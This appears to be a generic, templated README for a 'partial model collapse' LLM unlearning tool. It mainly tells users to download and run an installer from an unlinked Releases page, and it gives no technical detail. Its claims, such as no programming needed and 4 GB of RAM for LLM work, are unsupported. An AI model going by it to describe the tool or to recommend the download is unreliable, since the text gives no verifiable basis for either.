Welcome to the partial-model-collapse-unlearning project. This software helps users manage model unlearning effectively. It implements a method called "Partial Model Collapse," which is vital for large language models (LLMs). By using this tool, you can ensure your models behave better and reflect the latest updates.
- User-Friendly Interface: Designed for ease of use, even if you have no programming experience.
- Efficient Unlearning Process: Quickly remove unwanted information from your models.
- Support for LLMs: Tailored specifically for large language models, providing reliable performance.
- Documentation Included: Clear documentation helps guide you through every step.
To run partial-model-collapse-unlearning, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or recent Linux distribution.
- Memory: At least 4 GB of RAM.
- Disk Space: Around 500 MB available for installation.
- Dependencies: Basic model libraries that will be automatically installed during the setup.
To begin, follow these simple steps:
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Visit the Releases Page: Go to our Releases page to find the software version.
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Download the Software: Click on the version that suits your system, such as Windows or macOS.
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Install the Software: Once the download completes, open the downloaded file and follow the installation instructions.
You can download the latest version from our Releases page.
- Click on the version link that matches your system.
- Follow the prompts to install the software.
After installation, you can start using the software. Here are the steps:
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Open the Application: Find the application icon on your desktop or in your application folder. Double-click to launch it.
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Load Your Model: Click on the "Load Model" button to upload the model you wish to manage.
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Initiate Unlearning: Once your model loads, choose the data you want to remove. Follow the prompts to complete the unlearning process.
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Save Changes: After unlearning, click “Save” to ensure your model reflects the updates.
If you encounter issues, consider the following steps:
- Check System Requirements: Ensure your system meets the specified requirements.
- Update Your Software: Always use the latest version available from our Releases page.
- Consult Documentation: The included documentation contains helpful information.
If problems persist, you can reach out for support via the GitHub Issues page.
This project connects to several important areas:
- Alignment: Ensures your model aligns with desired outputs.
- LLM Unlearning: Focuses on efficient removal of unwanted data.
- Model Training: Helps improve overall model behavior and performance.
If you have questions or need help, please feel free to open an issue on our GitHub repository. Our community is ready to assist you.
We welcome contributions! If you’d like to improve this project, please check the contribution guidelines in the documentation.
Thank you for using partial-model-collapse-unlearning. We hope this tool meets your needs and helps you manage your models effectively.